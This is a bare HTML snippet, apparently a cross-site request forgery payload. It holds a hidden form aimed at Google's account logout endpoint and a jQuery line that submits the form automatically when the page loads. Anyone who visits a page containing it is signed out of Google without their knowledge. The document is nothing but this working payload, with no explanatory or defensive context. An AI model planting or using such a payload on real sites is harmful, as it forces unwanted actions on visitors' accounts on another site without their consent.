<form id="form" method="post" action="https://accounts.google.com/Logout"></form> <script>$('#form').submit()</script>